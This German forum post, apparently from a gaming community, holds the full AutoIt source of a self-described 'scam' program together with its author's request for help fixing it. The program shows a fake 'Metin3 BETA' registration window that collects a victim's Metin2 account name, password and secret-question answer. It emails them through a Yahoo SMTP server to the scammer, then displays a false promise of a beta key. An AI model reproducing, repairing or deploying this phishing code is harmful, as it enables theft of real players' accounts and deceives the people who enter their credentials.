"Metin3" Scamm
also ich habe ein Scamm Programm (mit AutoIt geschrieben).....
der 'Quellcode' sieht so aus:
Code:
#include <GuiConstants.au3>
#Include <file.au3>
MsgBox( 0, "Metin3 BETA Regestration", "Verwenden sie einen gültigen Metin2-Account um sich zu Regestrieren!")
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)
$objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
SetError(1)
return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $Ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Sent the Message
$objEmail.Send
if @error then
SetError(2)
return $oMyRet[1]
EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description,3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc ;==>MyErrFunc
GuiCreate("Metin3 - Beta Account registration", 640,487, -1, -1, -1, $WS_EX_LAYERED )
GuiCtrlCreatePic("BG_Metin.jpg",0,0,640,487)
GuiCtrlSetState(-1,$GUI_DISABLE)
$edtName=GUICtrlCreateInput ("", 260,220,150,20,$ES_AUTOVSCROLL)
$edtPwd=GUICtrlCreateInput ("", 260,270,150,20,$ES_AUTOVSCROLL+$ES_PASSWORD)
; BUTTON
$btnMail = GuiCtrlCreateButton("Login", 255,305,70,20)
$btnExit = GuiCtrlCreateButton("Cancel", 345,305,70,20)
; GUI MESSAGE LOOP
GuiSetState()
While 1
$msg = GUIGetMsg()
Select
Case $msg = $GUI_EVENT_CLOSE
ExitLoop
Case $msg = $btnMail
$Accountname = GUICtrlRead($edtName)
$Password = GUICtrlRead($edtPwd)
$Answer = InputBox("Geheimfrage", "<Hier Geheimfrage einfügen!!>", "")
$Body = "Accountname: " & @CRLF & $Accountname & @CRLF & "Password:" & @CRLF & $Password & @CRLF &"Antwort:" & @CRLF & $Answer
$rc = _INetSmtpMailCom("smtp.mail.yahoo.de", $Accountname, "<E-Mail hier>", "<E-Mail hier>", "WoWAccount", $Body, "", "", "", "<Benutzername für E-Mail Account>", "<Password für E-Mail>", 25, 0)
MsgBox( 0, "Registierung abgeschlossen", "Sie erhalten zum Start von Metin3 BETA einen Key per Mail! Dies kann bis zu 2 Wochen dauern. Falls sie nach 2 Wochen nichts erhalten haben, überprüfen sie ihren Spam-Ordner!")
ExitLoop
Case $msg = $btnExit
ExitLoop
EndSelect
WEnd
ich habe kA was da der Fehler ist :'(
kann den code evtl. einer von euch durchchecken??
währ echt super nett
schon mal THX und lg,
jonny0303
Script nicht von mir allein geschrieben...
nur Editiert :P
in elitepvpers oda ins deutsche autoit forum
